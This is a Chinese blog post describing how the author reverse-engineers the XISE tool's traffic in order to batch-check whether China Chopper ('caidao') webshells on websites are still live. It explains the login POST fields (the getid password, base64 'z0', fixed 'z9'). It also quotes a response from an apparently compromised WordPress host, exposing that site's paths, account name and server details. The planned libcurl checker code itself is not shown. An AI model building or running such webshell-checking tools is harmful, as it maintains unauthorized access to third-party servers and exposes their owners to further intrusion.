前两天小组的一个刚毕业的运营小姑娘转正答辩，发现她正在做验证菜刀链接是否有效的人工验证工作，可是这个过程做的是个纯人工的，且不说干的枯燥无味，就是从成本上对于团队，对于公司都是损失的。。想想一个IT公司，一个做技术的团队，为什么不弄个自动化的工具做这个工作呢。虽然我们不是黑客牛人出身，但是可以私下巧妙的借用借用牛人的工具啊^_^。说干就干。小姑娘用的XISE这个工具，百度了一下其实还有其他工具，比如chopper等，既然手头有这个xise，就用吧，不过不能像小姑娘那样傻傻的用，我们得有点技术含量，是不是。。哎呀又开始废话了，不扯了，正式进入主题。
还是用xise，还要借助一个工具http analyzer，抓包看看到底这个工具怎么就能判断这是个菜刀链接呢。如下图，第一个是xise进入到网站后台了，第二个图是抓包看到的这个过程
其实发现，每次验证一个url链接，客户端都会先发一个报文，如上有三个参数，getid是第一个参数名，即密码，z0是经过base64编码过的，这个在构造post报文时可以固定（测试过程中，发现解码后的信息，不同报文的数据略有不同，但是发现并不影响结果），z9也是固定的，这么一来，其实整个post体只有密码getid这个是要准确的，其他都可以固定。这样一来离我们的目标就近了。这个报文服务端返回的结果里面是这段信心->|/home/smartste/public_html/wp-includes/js/tinymce/plugins/wpembed|/home/smartste/public_html||Linux bh-64.webhostbox.net 2.6.32-673.8.1.lve1.4.3.1.el6.x86_64 #1 SMP Thu May 5 16:06:47 EDT 2016 x86_64(smartste)|<- 看到了没有 有网站的目录结构了。。接下来的一个报文就是根据这个目录去查找下面的具体文件了，具体报文详情我就不解释了，大家自个儿试验一下。下面我们来编码实现一下。
c++版本的 发送post请求 用的libcurl url和密码是存放在文件里面，一行记录是url|密码这样的格式，下面就可以自动跑出这批url里面是菜刀连接的验证工作了（测试过程中发现curl在发送post数据超过1k字节时，需要加上头部信息expect:100-continue，这无意间又学习了一个知识，嘻嘻^_^）,以下是主代码，关于curl、以及base64的那部分百度一堆，我就不贴啦！
